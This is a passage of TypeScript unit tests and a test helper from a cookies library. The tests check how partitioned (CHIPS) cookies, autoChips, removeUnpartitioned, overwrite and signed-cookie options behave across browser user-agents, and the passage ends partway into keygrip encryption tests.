10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.3945.29 Safari/537.36',\n          },\n        },\n        null,\n        { partitioned: true, sameSite: 'None' },\n      );\n      const opts: CookieSetOptions = {\n        signed: 1,\n      };\n      cookies.set('foo', 'hello', opts);\n\n      assert(opts.signed === 1);\n      assert(opts.secure === undefined);\n      assert(cookies.ctx.response.headers['set-cookie'].join(';').match(/foo=hello/));\n      for (const str of cookies.ctx.response.headers['set-cookie']) {\n        assert(str.includes('; path=/; httponly'));\n      }\n    });\n\n    it('should remove unpartitioned property first', () => {\n      const cookies = Cookies(\n        {\n          secure: true,\n          headers: {\n            'user-agent':\n              'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.3945.29 Safari/537.36',\n          },\n        },\n        { secure: true },\n        { partitioned: true, removeUnpartitioned: true, sameSite: 'None' },\n      );\n      const opts: CookieSetOptions = {\n        signed: 1,\n      };\n      cookies.set('foo', 'hello', opts);\n\n      assert(opts.signed === 1);\n      assert(opts.secure === undefined);\n      const headers = cookies.ctx.response.headers['set-cookie'];\n      // console.log(headers);\n      assert.equal(headers.length, 4);\n      assert.equal(headers[0], 'foo=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT; samesite=none; secure; httponly');\n      assert.equal(\n        headers[1],\n        'foo.sig=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT; samesite=none; secure; httponly',\n      );\n      assert.equal(headers[2], 'foo=hello; path=/; samesite=none; secure; httponly; partitioned');\n      assert.equal(\n        headers[3],\n        'foo.sig=ZWbaA4bWk8ByBuYVgfmJ2DMvhhS3sOctMbfXAQ2vnwI; path=/; samesite=none; secure; httponly; partitioned',\n      );\n    });\n\n    it('should remove unpartitioned property first when opts.secure = true and signed = false', () => {\n      const cookies = Cookies(\n        {\n          secure: true,\n          headers: {\n            'user-agent':\n              'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.3945.29 Safari/537.36',\n          },\n        },\n        { secure: true },\n        { partitioned: true, removeUnpartitioned: true, sameSite: 'None' },\n      );\n      const opts: CookieSetOptions = {\n        secure: true,\n        signed: false,\n      };\n      cookies.set('foo', 'hello', opts);\n\n      assert(opts.signed === false);\n      assert(opts.secure === true);\n      const headers = cookies.ctx.response.headers['set-cookie'];\n      // console.log(headers);\n      assert.equal(headers.length, 2);\n      assert.equal(headers[0], 'foo=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT; samesite=none; secure; httponly');\n      assert.equal(headers[1], 'foo=hello; path=/; samesite=none; secure; httponly; partitioned');\n    });\n\n    it('should remove unpartitioned property first with overwrite = true', () => {\n      const cookies = Cookies(\n        {\n          secure: true,\n          headers: {\n            'user-agent':\n              'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.3945.29 Safari/537.36',\n          },\n        },\n        { secure: true },\n        {\n          partitioned: true,\n          removeUnpartitioned: true,\n          overwrite: true,\n          sameSite: 'none',\n        },\n      );\n      const opts: CookieSetOptions = {\n        signed: 1,\n      };\n      cookies.set('foo', 'hello2222', opts);\n      cookies.set('foo', 'hello', opts);\n\n      assert(opts.signed === 1);\n      assert(opts.secure === undefined);\n      const headers = cookies.ctx.response.headers['set-cookie'];\n      assert.equal(headers.length, 4);\n      assert.equal(headers[0], 'foo=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT; samesite=none; secure; httponly');\n      assert.equal(\n        headers[1],\n        'foo.sig=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT; samesite=none; secure; httponly',\n      );\n      assert.equal(headers[2], 'foo=hello; path=/; samesite=none; secure; httponly; partitioned');\n      assert.equal(\n        headers[3],\n        'foo.sig=ZWbaA4bWk8ByBuYVgfmJ2DMvhhS3sOctMbfXAQ2vnwI; path=/; samesite=none; secure; httponly; partitioned',\n      );\n    });\n\n    it('should not set partitioned property when secure = false', () => {\n      const cookies = Cookies(\n        {\n          secure: true,\n          headers: {\n            'user-agent':\n              'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.3945.29 Safari/537.36',\n          },\n        },\n        { secure: true },\n        { partitioned: true, removeUnpartitioned: true, sameSite: 'None' },\n      );\n      const opts: CookieSetOptions = {\n        signed: 1,\n        secure: false,\n      };\n      cookies.set('foo', 'hello', opts);\n\n      assert(opts.signed === 1);\n      const headers = cookies.ctx.response.headers['set-cookie'];\n      assert.equal(headers.length, 2);\n      assert.equal(headers[0], 'foo=hello; path=/; httponly');\n      assert.equal(headers[1], 'foo.sig=ZWbaA4bWk8ByBuYVgfmJ2DMvhhS3sOctMbfXAQ2vnwI; path=/; httponly');\n    });\n\n    it('should not set partitioned property when sameSite != none', () => {\n      const cookies = Cookies(\n        {\n          secure: true,\n          headers: {\n            'user-agent':\n              'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.3945.29 Safari/537.36',\n          },\n        },\n        { secure: true },\n        { partitioned: true, removeUnpartitioned: true },\n      );\n      const opts: CookieSetOptions = {\n        signed: 1,\n      };\n      cookies.set('foo', 'hello', opts);\n\n      assert(opts.signed === 1);\n      const headers = cookies.ctx.response.headers['set-cookie'];\n      assert.equal(headers.length, 2);\n      assert.equal(headers[0], 'foo=hello; path=/; secure; httponly');\n      assert.equal(headers[1], 'foo.sig=ZWbaA4bWk8ByBuYVgfmJ2DMvhhS3sOctMbfXAQ2vnwI; path=/; secure; httponly');\n    });\n  });\n\n  describe('defaultCookieOptions.autoChips = true', () => {\n    it('should not send partitioned property on incompatible clients', () => {\n      const userAgents = [\n        'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML%2C like Gecko) Chrome/62.0.3202.94 Safari/537.36',\n        'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML%2C like Gecko) Chrome/52.0.2723.2 Safari/537.36',\n        'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/100.36 (KHTML, like Gecko) Safari/100.36',\n      ];\n      for (const ua of userAgents) {\n        const cookies = Cookies(\n          {\n            secure: true,\n            headers: {\n              'user-agent': ua,\n            },\n          },\n          { secure: true },\n          { autoChips: true, sameSite: 'None' },\n        );\n        const opts: CookieSetOptions = {\n          signed: 1,\n        };\n        cookies.set('foo', 'hello', opts);\n\n        assert(opts.signed === 1);\n        assert(opts.secure === undefined);\n        assert(cookies.ctx.response.headers['set-cookie'].join(';').match(/foo=hello/));\n        for (const str of cookies.ctx.response.headers['set-cookie']) {\n          assert(!str.includes('partitioned'));\n        }\n      }\n    });\n\n    it('should not send partitioned property on Chrome < 118', () => {\n      const cookies = Cookies(\n        {\n          secure: true,\n          headers: {\n            'user-agent':\n              'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.3945.29 Safari/537.36',\n          },\n        },\n        { secure: true },\n        { autoChips: true, sameSite: 'None' },\n      );\n      const opts: CookieSetOptions = {\n        signed: 1,\n      };\n      cookies.set('foo', 'hello', opts);\n\n      assert(opts.signed === 1);\n      assert(opts.secure === undefined);\n      assert(cookies.ctx.response.headers['set-cookie'].join(';').match(/foo=hello/));\n      for (const str of cookies.ctx.response.headers['set-cookie']) {\n        assert(str.includes('; path=/; samesite=none; secure; httponly'));\n      }\n    });\n\n    it('should send partitioned property on Chrome >= 118', () => {\n      let cookies = Cookies(\n        {\n          secure: true,\n          headers: {\n            'user-agent':\n              'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.3945.29 Safari/537.36',\n          },\n        },\n        { secure: true },\n        { autoChips: true, sameSite: 'None' },\n      );\n      const opts: CookieSetOptions = {\n        signed: 1,\n      };\n      cookies.set('foo', 'hello', opts);\n\n      assert(opts.signed === 1);\n      assert(opts.secure === undefined);\n      let setCookies = cookies.ctx.response.headers['set-cookie'];\n      assert.equal(setCookies.length, 4);\n      assert.equal(setCookies[0], '_CHIPS-foo=hello; path=/; samesite=none; secure; httponly; partitioned');\n      assert.equal(\n        setCookies[1],\n        '_CHIPS-foo.sig=G4Idm9Wdp_vfCnUbOpQG284o22SgTe88SUmG6QW1ylk; path=/; samesite=none; secure; httponly; partitioned',\n      );\n      assert.equal(setCookies[2], 'foo=hello; path=/; samesite=none; secure; httponly');\n      assert.equal(\n        setCookies[3],\n        'foo.sig=ZWbaA4bWk8ByBuYVgfmJ2DMvhhS3sOctMbfXAQ2vnwI; path=/; samesite=none; secure; httponly',\n      );\n\n      cookies = Cookies(\n        {\n          secure: true,\n          headers: {\n            'user-agent':\n              'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.3945.29 Safari/537.36',\n          },\n        },\n        { secure: true },\n        { autoChips: true, sameSite: 'None' },\n      );\n      cookies.set('foo', 'hello', opts);\n\n      assert(opts.signed === 1);\n      assert(opts.secure === undefined);\n      setCookies = cookies.ctx.response.headers['set-cookie'];\n      assert.equal(setCookies[0], '_CHIPS-foo=hello; path=/; samesite=none; secure; httponly; partitioned');\n      assert.equal(\n        setCookies[1],\n        '_CHIPS-foo.sig=G4Idm9Wdp_vfCnUbOpQG284o22SgTe88SUmG6QW1ylk; path=/; samesite=none; secure; httponly; partitioned',\n      );\n      assert.equal(setCookies[2], 'foo=hello; path=/; samesite=none; secure; httponly');\n      assert.equal(\n        setCookies[3],\n        'foo.sig=ZWbaA4bWk8ByBuYVgfmJ2DMvhhS3sOctMbfXAQ2vnwI; path=/; samesite=none; secure; httponly',\n      );\n\n      // empty user-agent\n      // disable autoChips if partitioned enable\n      cookies = Cookies(\n        {\n          secure: true,\n          headers: {\n            'user-agent': '',\n          },\n        },\n        { secure: true },\n        {\n          autoChips: true,\n          partitioned: true,\n          removeUnpartitioned: true,\n          sameSite: 'None',\n        },\n      );\n      cookies.set('foo', 'hello', opts);\n\n      assert(opts.signed === 1);\n      assert(opts.secure === undefined);\n      setCookies = cookies.ctx.response.headers['set-cookie'];\n      assert.equal(\n        setCookies[0],\n        'foo=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT; samesite=none; secure; httponly',\n      );\n      assert.equal(\n        setCookies[1],\n        'foo.sig=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT; samesite=none; secure; httponly',\n      );\n      assert.equal(setCookies[2], 'foo=hello; path=/; samesite=none; secure; httponly; partitioned');\n      assert.equal(\n        setCookies[3],\n        'foo.sig=ZWbaA4bWk8ByBuYVgfmJ2DMvhhS3sOctMbfXAQ2vnwI; path=/; samesite=none; secure; httponly; partitioned',\n      );\n\n      cookies = Cookies(\n        {\n          secure: true,\n          headers: {\n            'user-agent': '',\n          },\n        },\n        { secure: true },\n        { autoChips: true },\n      );\n      cookies.set('foo', 'hello', {\n        sameSite: 'None',\n        // ignore removeUnpartitioned options\n        removeUnpartitioned: true,\n      });\n\n      assert(opts.signed === 1);\n      assert(opts.secure === undefined);\n      setCookies = cookies.ctx.response.headers['set-cookie'];\n      assert.equal(setCookies[0], '_CHIPS-foo=hello; path=/; samesite=none; secure; httponly; partitioned');\n      assert.equal(\n        setCookies[1],\n        '_CHIPS-foo.sig=G4Idm9Wdp_vfCnUbOpQG284o22SgTe88SUmG6QW1ylk; path=/; samesite=none; secure; httponly; partitioned',\n      );\n      assert.equal(setCookies[2], 'foo=hello; path=/; samesite=none; secure; httponly');\n      assert.equal(\n        setCookies[3],\n        'foo.sig=ZWbaA4bWk8ByBuYVgfmJ2DMvhhS3sOctMbfXAQ2vnwI; path=/; samesite=none; secure; httponly',\n      );\n\n      // read from cookie\n      cookies = Cookies(\n        {\n          secure: true,\n          headers: {\n            cookie:\n              '_CHIPS-foo=hello; _CHIPS-foo.sig=G4Idm9Wdp_vfCnUbOpQG284o22SgTe88SUmG6QW1ylk; foo=hello; foo.sig=ZWbaA4bWk8ByBuYVgfmJ2DMvhhS3sOctMbfXAQ2vnwI',\n          },\n        },\n        { secure: true },\n        { autoChips: true },\n      );\n      assert.equal(cookies.get('foo'), 'hello');\n      assert.equal(cookies.get('_CHIPS-foo'), 'hello');\n      cookies = Cookies(\n        {\n          secure: true,\n          headers: {\n            cookie: '_CHIPS-foo=hello; _CHIPS-foo.sig=G4Idm9Wdp_vfCnUbOpQG284o22SgTe88SUmG6QW1ylk',\n          },\n        },\n        { secure: true },\n        { autoChips: true },\n      );\n      assert.equal(cookies.get('foo', { signed: true }), 'hello');\n      assert.equal(cookies.get('foo', { signed: false }), 'hello');\n      assert.equal(cookies.get('foo'), 'hello');\n\n      cookies = Cookies(\n        {\n          secure: true,\n          headers: {\n            cookie: '_CHIPS-foo=hello; _CHIPS-foo.sig=G4Idm9Wdp_vfCnUbOpQG284o22SgTe88SUmG6QW1ylk-invalid',\n          },\n        },\n        { secure: true },\n        { autoChips: true },\n      );\n      assert.equal(cookies.get('foo', { signed: true }), undefined);\n      assert.equal(cookies.get('foo', { signed: false }), 'hello');\n      assert.equal(cookies.get('foo'), undefined);\n      cookies = Cookies(\n        {\n          secure: true,\n          headers: {\n            cookie: '_CHIPS-foo=hello',\n          },\n        },\n        { secure: true },\n        { autoChips: true },\n      );\n      assert.equal(cookies.get('foo', { signed: true }), undefined);\n      assert.equal(cookies.get('foo', { signed: false }), 'hello');\n      assert.equal(cookies.get('foo'), undefined);\n      cookies = Cookies(\n        {\n          secure: true,\n          headers: {\n            cookie: '_CHIPS-foo=hello; foo=',\n          },\n        },\n        { secure: true },\n        { autoChips: true },\n      );\n      assert.equal(cookies.get('foo', { signed: true }), undefined);\n      assert.equal(cookies.get('foo', { signed: false }), '');\n      assert.equal(cookies.get('foo'), undefined);\n    });\n\n    it('should not send SameSite=none property on non-secure context', () => {\n      const cookies = Cookies(\n        {\n          secure: false,\n          headers: {\n            'user-agent':\n              'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.3945.29 Safari/537.36',\n          },\n        },\n        null,\n        { autoChips: true, sameSite: 'None' },\n      );\n      const opts: CookieSetOptions = {\n        signed: 1,\n      };\n      cookies.set('foo', 'hello', opts);\n\n      assert(opts.signed === 1);\n      assert(opts.secure === undefined);\n      assert(cookies.ctx.response.headers['set-cookie'].join(';').match(/foo=hello/));\n      for (const str of cookies.ctx.response.headers['set-cookie']) {\n        assert(str.includes('; path=/; httponly'));\n      }\n    });\n\n    it('should disable autoChips when partitioned=true', () => {\n      const cookies = Cookies(\n        {\n          secure: true,\n          headers: {\n            'user-agent':\n              'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.3945.29 Safari/537.36',\n          },\n        },\n        { secure: true },\n        { autoChips: true, partitioned: true, sameSite: 'None' },\n      );\n      const opts: CookieSetOptions = {\n        signed: 1,\n      };\n      cookies.set('foo', 'hello', opts);\n\n      assert(opts.signed === 1);\n      assert(opts.secure === undefined);\n      const headers = cookies.ctx.response.headers['set-cookie'];\n      // console.log(headers);\n      assert.equal(headers.length, 2);\n      assert.equal(headers[0], 'foo=hello; path=/; samesite=none; secure; httponly; partitioned');\n      assert.equal(\n        headers[1],\n        'foo.sig=ZWbaA4bWk8ByBuYVgfmJ2DMvhhS3sOctMbfXAQ2vnwI; path=/; samesite=none; secure; httponly; partitioned',\n      );\n    });\n\n    it('should ignore remove unpartitioned property', () => {\n      const cookies = Cookies(\n        {\n          secure: true,\n          headers: {\n            'user-agent':\n              'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.3945.29 Safari/537.36',\n          },\n        },\n        { secure: true },\n        {\n          autoChips: true,\n          partitioned: false,\n          removeUnpartitioned: true,\n          sameSite: 'None',\n        },\n      );\n      const opts: CookieSetOptions = {\n        signed: 1,\n      };\n      cookies.set('foo', 'hello', opts);\n\n      assert(opts.signed === 1);\n      assert(opts.secure === undefined);\n      const headers = cookies.ctx.response.headers['set-cookie'];\n      // console.log(headers);\n      assert.equal(headers.length, 4);\n      assert.equal(headers[0], '_CHIPS-foo=hello; path=/; samesite=none; secure; httponly; partitioned');\n      assert.equal(\n        headers[1],\n        '_CHIPS-foo.sig=G4Idm9Wdp_vfCnUbOpQG284o22SgTe88SUmG6QW1ylk; path=/; samesite=none; secure; httponly; partitioned',\n      );\n      assert.equal(headers[2], 'foo=hello; path=/; samesite=none; secure; httponly');\n      assert.equal(\n        headers[3],\n        'foo.sig=ZWbaA4bWk8ByBuYVgfmJ2DMvhhS3sOctMbfXAQ2vnwI; path=/; samesite=none; secure; httponly',\n      );\n    });\n\n    it('should ignore remove unpartitioned property with different paths', () => {\n      const cookies = Cookies(\n        {\n          secure: true,\n          headers: {\n            'user-agent':\n              'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.3945.29 Safari/537.36',\n          },\n        },\n        { secure: true },\n        {\n          autoChips: true,\n          partitioned: false,\n          removeUnpartitioned: true,\n          sameSite: 'None',\n        },\n      );\n      const opts: CookieSetOptions = {\n        signed: 1,\n      };\n      cookies.set('foo', 'hello', opts);\n      cookies.set('foo', 'hello', {\n        ...opts,\n        path: '/path2',\n      });\n\n      assert(opts.signed === 1);\n      assert(opts.secure === undefined);\n      const headers = cookies.ctx.response.headers['set-cookie'];\n      assert.deepEqual(headers, [\n        '_CHIPS-foo=hello; path=/; samesite=none; secure; httponly; partitioned',\n        '_CHIPS-foo.sig=G4Idm9Wdp_vfCnUbOpQG284o22SgTe88SUmG6QW1ylk; path=/; samesite=none; secure; httponly; partitioned',\n        'foo=hello; path=/; samesite=none; secure; httponly',\n        'foo.sig=ZWbaA4bWk8ByBuYVgfmJ2DMvhhS3sOctMbfXAQ2vnwI; path=/; samesite=none; secure; httponly',\n        '_CHIPS-foo=hello; path=/path2; samesite=none; secure; httponly; partitioned',\n        '_CHIPS-foo.sig=G4Idm9Wdp_vfCnUbOpQG284o22SgTe88SUmG6QW1ylk; path=/path2; samesite=none; secure; httponly; partitioned',\n        'foo=hello; path=/path2; samesite=none; secure; httponly',\n        'foo.sig=ZWbaA4bWk8ByBuYVgfmJ2DMvhhS3sOctMbfXAQ2vnwI; path=/path2; samesite=none; secure; httponly',\n      ]);\n    });\n\n    it('should ignore remove unpartitioned property when autoChips = true and signed = false', () => {\n      const cookies = Cookies(\n        {\n          secure: true,\n          headers: {\n            'user-agent':\n              'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.3945.29 Safari/537.36',\n          },\n        },\n        { secure: true },\n        {\n          autoChips: true,\n          partitioned: false,\n          removeUnpartitioned: true,\n          sameSite: 'None',\n        },\n      );\n      const opts: CookieSetOptions = {\n        secure: true,\n        signed: false,\n      };\n      cookies.set('foo', 'hello', opts);\n\n      assert(opts.signed === false);\n      assert(opts.secure === true);\n      const headers = cookies.ctx.response.headers['set-cookie'];\n      // console.log(headers);\n      assert.equal(headers.length, 2);\n      assert.equal(headers[0], '_CHIPS-foo=hello; path=/; samesite=none; secure; httponly; partitioned');\n      assert.equal(headers[1], 'foo=hello; path=/; samesite=none; secure; httponly');\n    });\n\n    it('should work on unpartitioned = true and partitioned = true with different paths', () => {\n      const cookies = Cookies(\n        {\n          secure: true,\n          headers: {\n            'user-agent':\n              'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.3945.29 Safari/537.36',\n          },\n        },\n        { secure: true },\n        { partitioned: true, removeUnpartitioned: true, sameSite: 'None' },\n      );\n      cookies.set('foo', 'hello', {\n        signed: 1,\n      });\n      cookies.set('foo', 'hello', {\n        signed: 1,\n        path: '/path1',\n      });\n      cookies.set('foo', 'hello', {\n        signed: 1,\n        path: '/path2',\n      });\n      cookies.set('foo', 'hello', {\n        signed: 1,\n        path: '/path3',\n      });\n\n      const headers = cookies.ctx.response.headers['set-cookie'];\n      assert.deepEqual(headers, [\n        'foo=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT; samesite=none; secure; httponly',\n        'foo.sig=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT; samesite=none; secure; httponly',\n        'foo=hello; path=/; samesite=none; secure; httponly; partitioned',\n        'foo.sig=ZWbaA4bWk8ByBuYVgfmJ2DMvhhS3sOctMbfXAQ2vnwI; path=/; samesite=none; secure; httponly; partitioned',\n        'foo=; path=/path1; expires=Thu, 01 Jan 1970 00:00:00 GMT; samesite=none; secure; httponly',\n        'foo.sig=; path=/path1; expires=Thu, 01 Jan 1970 00:00:00 GMT; samesite=none; secure; httponly',\n        'foo=hello; path=/path1; samesite=none; secure; httponly; partitioned',\n        'foo.sig=ZWbaA4bWk8ByBuYVgfmJ2DMvhhS3sOctMbfXAQ2vnwI; path=/path1; samesite=none; secure; httponly; partitioned',\n        'foo=; path=/path2; expires=Thu, 01 Jan 1970 00:00:00 GMT; samesite=none; secure; httponly',\n        'foo.sig=; path=/path2; expires=Thu, 01 Jan 1970 00:00:00 GMT; samesite=none; secure; httponly',\n        'foo=hello; path=/path2; samesite=none; secure; httponly; partitioned',\n        'foo.sig=ZWbaA4bWk8ByBuYVgfmJ2DMvhhS3sOctMbfXAQ2vnwI; path=/path2; samesite=none; secure; httponly; partitioned',\n        'foo=; path=/path3; expires=Thu, 01 Jan 1970 00:00:00 GMT; samesite=none; secure; httponly',\n        'foo.sig=; path=/path3; expires=Thu, 01 Jan 1970 00:00:00 GMT; samesite=none; secure; httponly',\n        'foo=hello; path=/path3; samesite=none; secure; httponly; partitioned',\n        'foo.sig=ZWbaA4bWk8ByBuYVgfmJ2DMvhhS3sOctMbfXAQ2vnwI; path=/path3; samesite=none; secure; httponly; partitioned',\n      ]);\n    });\n\n    it('should work on unpartitioned = true and partitioned = true with different null path', () => {\n      const cookies = Cookies(\n        {\n          secure: true,\n          headers: {\n            'user-agent':\n              'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.3945.29 Safari/537.36',\n          },\n        },\n        { secure: true },\n        { partitioned: true, removeUnpartitioned: true, sameSite: 'None' },\n      );\n      cookies.set('foo', 'hello', {\n        signed: 1,\n      });\n      cookies.set('foo', 'hello', {\n        signed: 1,\n        path: '/path1',\n      });\n      cookies.set('foo', 'hello', {\n        signed: 1,\n        path: '/path2',\n      });\n      cookies.set('foo', 'hello', {\n        signed: 1,\n        path: null,\n      });\n\n      const headers = cookies.ctx.response.headers['set-cookie'];\n      assert.deepEqual(headers, [\n        'foo=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT; samesite=none; secure; httponly',\n        'foo=hello; path=/; samesite=none; secure; httponly; partitioned',\n        'foo=; path=/path1; expires=Thu, 01 Jan 1970 00:00:00 GMT; samesite=none; secure; httponly',\n        'foo=hello; path=/path1; samesite=none; secure; httponly; partitioned',\n        'foo=; path=/path2; expires=Thu, 01 Jan 1970 00:00:00 GMT; samesite=none; secure; httponly',\n        'foo=hello; path=/path2; samesite=none; secure; httponly; partitioned',\n        'foo=; expires=Thu, 01 Jan 1970 00:00:00 GMT; samesite=none; secure; httponly',\n        'foo.sig=; expires=Thu, 01 Jan 1970 00:00:00 GMT; samesite=none; secure; httponly',\n        'foo=hello; samesite=none; secure; httponly; partitioned',\n        'foo.sig=ZWbaA4bWk8ByBuYVgfmJ2DMvhhS3sOctMbfXAQ2vnwI; samesite=none; secure; httponly; partitioned',\n      ]);\n    });\n\n    it('should work with overwrite = true', () => {\n      const cookies = Cookies(\n        {\n          secure: true,\n          headers: {\n            'user-agent':\n              'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.3945.29 Safari/537.36',\n          },\n        },\n        { secure: true },\n        { autoChips: true, overwrite: true, sameSite: 'none' },\n      );\n      const opts: CookieSetOptions = {\n        signed: 1,\n      };\n      cookies.set('foo', 'hello2222', opts);\n      cookies.set('foo', 'hello', opts);\n\n      assert(opts.signed === 1);\n      assert(opts.secure === undefined);\n      const headers = cookies.ctx.response.headers['set-cookie'];\n      assert.equal(headers.length, 4);\n      assert.equal(headers[0], '_CHIPS-foo=hello; path=/; samesite=none; secure; httponly; partitioned');\n      assert.equal(\n        headers[1],\n        '_CHIPS-foo.sig=G4Idm9Wdp_vfCnUbOpQG284o22SgTe88SUmG6QW1ylk; path=/; samesite=none; secure; httponly; partitioned',\n      );\n      assert.equal(headers[2], 'foo=hello; path=/; samesite=none; secure; httponly');\n      assert.equal(\n        headers[3],\n        'foo.sig=ZWbaA4bWk8ByBuYVgfmJ2DMvhhS3sOctMbfXAQ2vnwI; path=/; samesite=none; secure; httponly',\n      );\n    });\n\n    it('should not set partitioned property when secure = false', () => {\n      const cookies = Cookies(\n        {\n          secure: true,\n          headers: {\n            'user-agent':\n              'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.3945.29 Safari/537.36',\n          },\n        },\n        { secure: true },\n        { autoChips: true, sameSite: 'None' },\n      );\n      const opts: CookieSetOptions = {\n        signed: 1,\n        secure: false,\n      };\n      cookies.set('foo', 'hello', opts);\n\n      assert(opts.signed === 1);\n      const headers = cookies.ctx.response.headers['set-cookie'];\n      assert.equal(headers.length, 2);\n      assert.equal(headers[0], 'foo=hello; path=/; httponly');\n      assert.equal(headers[1], 'foo.sig=ZWbaA4bWk8ByBuYVgfmJ2DMvhhS3sOctMbfXAQ2vnwI; path=/; httponly');\n    });\n\n    it('should not set partitioned property when sameSite != none', () => {\n      const cookies = Cookies(\n        {\n          secure: true,\n          headers: {\n            'user-agent':\n              'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.3945.29 Safari/537.36',\n          },\n        },\n        { secure: true },\n        { autoChips: true },\n      );\n      const opts: CookieSetOptions = {\n        signed: 1,\n      };\n      cookies.set('foo', 'hello', opts);\n\n      assert(opts.signed === 1);\n      const headers = cookies.ctx.response.headers['set-cookie'];\n      assert.equal(headers.length, 2);\n      assert.equal(headers[0], 'foo=hello; path=/; secure; httponly');\n      assert.equal(headers[1], 'foo.sig=ZWbaA4bWk8ByBuYVgfmJ2DMvhhS3sOctMbfXAQ2vnwI; path=/; secure; httponly');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/cookies/test/cookies.ts",
    "content": "import { EventEmitter } from 'node:events';\n\nimport { Cookies, type DefaultCookieOptions } from '../src/index.ts';\n\nexport default function createCookie(\n  req?: any,\n  options?: { keys?: string[] | null; secure?: boolean } | null,\n  defaultCookieOptions?: DefaultCookieOptions,\n): Cookies {\n  options = options || {};\n  let keys = options.keys;\n  keys = keys === undefined ? ['key', 'keys'] : keys;\n  const ctx: Record<string, any> = {\n    secure: options.secure,\n    app: new EventEmitter(),\n  };\n  ctx.request = {\n    headers: {},\n    get(key: string) {\n      return this.headers[key];\n    },\n    ...req,\n  };\n\n  ctx.response = {\n    headers: {},\n    get(key: string) {\n      return this.headers[key];\n    },\n    set(key: string, value: string) {\n      this.headers[key] = value;\n    },\n  };\n\n  ctx.get = ctx.request.get.bind(ctx.request);\n  ctx.set = ctx.response.set.bind(ctx.response);\n\n  return new Cookies(ctx, keys as any, defaultCookieOptions);\n}\n"
  },
  {
    "path": "packages/cookies/test/keygrip.test.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport crypto from 'node:crypto';\n\nimport { describe, it } from 'vitest';\n\nimport { Keygrip } from '../src/index.ts';\n\ndescribe('test/keygrip.test.ts', () => {\n  it('should throw without keys', () => {\n    assert.throws(() => {\n      new (Keygrip as any)();\n    }, /keys must be provided and should be an array/);\n    assert.throws(() => {\n      new Keygrip([]);\n    }, /keys must be provided and should be an array/);\n    assert.throws(() => {\n      new Keygrip('hello' as any);\n    }, /keys must be provided and should be an array/);\n  });\n\n  it('should encrypt and decrypt success', () => {\n    const keygrip = new Keygrip(['foo', 'bar']);\n    const newKeygrip = new Keygrip(['another', 'foo']);\n\n    const encrypted = keygrip.encrypt('hello');\n    const result = keygrip.decrypt(encrypted);\n    assert(result);\n    assert.equal(result.value.toString(), 'hello');\n    assert.equal(result.index, 0);\n    const result2 = newKeygrip.decrypt(encrypted);\n    assert(result2);\n    assert.equal(result2.value.toString(), 'hello');\n    assert.equal(result2.index, 1);\n  });\n\n  it('should decrypt error return false', () => {\n    const keygrip = new Keygrip(['foo', 'bar']);\n    const newKeygrip = new Keygrip(['another']);\n\n    const encrypted = keygrip.encrypt('hello');\n    const result = keygrip.decrypt(encrypted);\n    assert(result);\n    assert.equal(result.value.toString(), 'hello');\n    assert.equal(result.index, 0);\n    assert.equal(newKeygrip.decrypt(encrypted), false);\n  });\n\n  it.skipIf(!('createCipher' in crypto))('should decrypt key encrypted by createCipher without error', () => {\n    const keygrip = new Keygrip(['foo']);\n    const encrypted = keygrip.encrypt('hello');\n\n    // @ts-expect-error crypto.createCipher is deprecated\n    const cipher = crypto.createCipher('aes-256-cbc', 'foo');\n    const text = cipher.update('hello', 'utf8');\n    const oldEncrypted = Buffer.concat([text, cipher.final()]);\n\n    assert.equal(encrypted.toString('hex'), 